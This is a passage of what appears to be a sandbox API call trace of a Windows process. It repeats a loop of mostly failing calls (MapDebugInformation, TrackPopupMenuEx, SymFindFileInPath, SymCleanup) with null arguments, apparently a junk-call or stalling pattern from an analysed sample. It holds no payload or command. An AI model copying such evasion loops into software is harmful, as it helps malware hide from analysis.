MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.888] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.888] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.889] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.889] GetLastError () returned 0x579 [0140.889] SetLastError (dwErrCode=0x579) [0140.889] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.889] SymCleanup (hProcess=0x0) returned 0 [0140.889] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.889] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.889] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.889] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.889] GetLastError () returned 0x579 [0140.889] SetLastError (dwErrCode=0x579) [0140.891] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.891] SymCleanup (hProcess=0x0) returned 0 [0140.891] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.891] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.891] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.891] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=878, param_4=86, param_5=0x0, param_6=0x0) returned 0 [0140.891] GetLastError () returned 0x579 [0140.891] SetLastError (dwErrCode=0x579) [0140.891] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.891] SymCleanup (hProcess=0x0) returned 0 [0140.891] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.891] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.891] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.892] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.892] GetLastError () returned 0x579 [0140.892] SetLastError (dwErrCode=0x579) [0140.892] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.892] SymCleanup (hProcess=0x0) returned 0 [0140.892] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.892] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.892] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.892] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.892] GetLastError () returned 0x579 [0140.892] SetLastError (dwErrCode=0x579) [0140.892] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.892] SymCleanup (hProcess=0x0) returned 0 [0140.892] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.892] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.892] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.892] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.892] GetLastError () returned 0x579 [0140.892] SetLastError (dwErrCode=0x579) [0140.892] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.892] SymCleanup (hProcess=0x0) returned 0 [0140.892] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.892] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.892] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.893] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.893] GetLastError () returned 0x579 [0140.893] SetLastError (dwErrCode=0x579) [0140.893] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.893] SymCleanup (hProcess=0x0) returned 0 [0140.893] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.893] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.893] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.893] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=765, param_4=718, param_5=0x0, param_6=0x0) returned 0 [0140.893] GetLastError () returned 0x579 [0140.893] SetLastError (dwErrCode=0x579) [0140.893] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.893] SymCleanup (hProcess=0x0) returned 0 [0140.893] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.893] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.893] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.893] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.893] GetLastError () returned 0x579 [0140.893] SetLastError (dwErrCode=0x579) [0140.893] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.893] SymCleanup (hProcess=0x0) returned 0 [0140.893] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.893] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.893] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.893] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.894] GetLastError () returned 0x579 [0140.894] SetLastError (dwErrCode=0x579) [0140.894] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.894] SymCleanup (hProcess=0x0) returned 0 [0140.894] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.894] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.894] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.894] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.894] GetLastError () returned 0x579 [0140.894] SetLastError (dwErrCode=0x579) [0140.894] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.894] SymCleanup (hProcess=0x0) returned 0 [0140.894] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.894] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.894] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.894] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.894] GetLastError () returned 0x579 [0140.894] SetLastError (dwErrCode=0x579) [0140.894] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.894] SymCleanup (hProcess=0x0) returned 0 [0140.894] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.894] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.894] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.894] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=216, param_4=668, param_5=0x0, param_6=0x0) returned 0 [0140.895] GetLastError () returned 0x579 [0140.895] SetLastError (dwErrCode=0x579) [0140.895] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.895] SymCleanup (hProcess=0x0) returned 0 [0140.895] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.895] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.895] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.895] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.895] GetLastError () returned 0x579 [0140.895] SetLastError (dwErrCode=0x579) [0140.895] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.895] SymCleanup (hProcess=0x0) returned 0 [0140.895] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.895] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.895] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.895] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.895] GetLastError () returned 0x579 [0140.895] SetLastError (dwErrCode=0x579) [0140.895] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.895] SymCleanup (hProcess=0x0) returned 0 [0140.895] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.895] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.895] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.895] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.895] GetLastError () returned 0x579 [0140.896] SetLastError (dwErrCode=0x579) [0140.896] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.896] SymCleanup (hProcess=0x0) returned 0 [0140.896] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.896] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.896] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.896] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.896] GetLastError () returned 0x579 [0140.896] SetLastError (dwErrCode=0x579) [0140.896] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.896] SymCleanup (hProcess=0x0) returned 0 [0140.896] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.896] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.896] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.896] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=927, param_4=270, param_5=0x0, param_6=0x0) returned 0 [0140.896] GetLastError () returned 0x579 [0140.896] SetLastError (dwErrCode=0x579) [0140.896] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.896] SymCleanup (hProcess=0x0) returned 0 [0140.896] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.896] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.896] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.896] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.896] GetLastError () returned 0x579 [0140.897] SetLastError (dwErrCode=0x579) [0140.897] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.897] SymCleanup (hProcess=0x0) returned 0 [0140.897] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.897] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.897] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.897] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.897] GetLastError () returned 0x579 [0140.897] SetLastError (dwErrCode=0x579) [0140.897] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.897] SymCleanup (hProcess=0x0) returned 0 [0140.897] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.897] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.897] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.897] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.897] GetLastError () returned 0x579 [0140.897] SetLastError (dwErrCode=0x579) [0140.897] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.897] SymCleanup (hProcess=0x0) returned 0 [0140.897] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.897] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.897] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.897] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.897] GetLastError () returned 0x579 [0140.897] SetLastError (dwErrCode=0x579) [0140.898] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.898] SymCleanup (hProcess=0x0) returned 0 [0140.898] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.898] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.898] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.898] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1087, param_4=445, param_5=0x0, param_6=0x0) returned 0 [0140.898] GetLastError () returned 0x579 [0140.898] SetLastError (dwErrCode=0x579) [0140.898] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.898] SymCleanup (hProcess=0x0) returned 0 [0140.898] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.898] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.898] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.898] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.898] GetLastError () returned 0x579 [0140.898] SetLastError (dwErrCode=0x579) [0140.898] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.898] SymCleanup (hProcess=0x0) returned 0 [0140.898] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.898] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.898] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.898] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.898] GetLastError () returned 0x579 [0140.898] SetLastError (dwErrCode=0x579) [0140.898] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.898] SymCleanup (hProcess=0x0) returned 0 [0140.899] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.899] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.899] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.899] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.899] GetLastError () returned 0x579 [0140.899] SetLastError (dwErrCode=0x579) [0140.899] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.899] SymCleanup (hProcess=0x0) returned 0 [0140.899] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.899] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.899] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.899] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.899] GetLastError () returned 0x579 [0140.899] SetLastError (dwErrCode=0x579) [0140.899] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.899] SymCleanup (hProcess=0x0) returned 0 [0140.899] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.899] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.899] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.899] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=648, param_4=332, param_5=0x0, param_6=0x0) returned 0 [0140.899] GetLastError () returned 0x579 [0140.899] SetLastError (dwErrCode=0x579) [0140.899] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.899] SymCleanup (hProcess=0x0) returned 0 [0140.900] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.900] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.900] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.900] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.900] GetLastError () returned 0x579 [0140.900] SetLastError (dwErrCode=0x579) [0140.900] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.900] SymCleanup (hProcess=0x0) returned 0 [0140.900] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.900] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.900] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.900] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.900] GetLastError () returned 0x579 [0140.900] SetLastError (dwErrCode=0x579) [0140.900] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.900] SymCleanup (hProcess=0x0) returned 0 [0140.900] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.900] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.900] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.900] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.900] GetLastError () returned 0x579 [0140.900] SetLastError (dwErrCode=0x579) [0140.900] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.900] SymCleanup (hProcess=0x0) returned 0 [0140.901] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.901] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.901] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.901] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.901] GetLastError () returned 0x579 [0140.901] SetLastError (dwErrCode=0x579) [0140.901] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.901] SymCleanup (hProcess=0x0) returned 0 [0140.901] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.901] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.901] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.901] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=200, param_4=488, param_5=0x0, param_6=0x0) returned 0 [0140.901] GetLastError () returned 0x579 [0140.901] SetLastError (dwErrCode=0x579) [0140.901] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.901] SymCleanup (hProcess=0x0) returned 0 [0140.901] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.901] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.901] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.901] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.901] GetLastError () returned 0x579 [0140.901] SetLastError (dwErrCode=0x579) [0140.901] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.901] SymCleanup (hProcess=0x0) returned 0 [0140.901] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.901] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.902] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.902] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.902] GetLastError () returned 0x579 [0140.902] SetLastError (dwErrCode=0x579) [0140.902] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.902] SymCleanup (hProcess=0x0) returned 0 [0140.902] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.902] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.902] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.902] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, 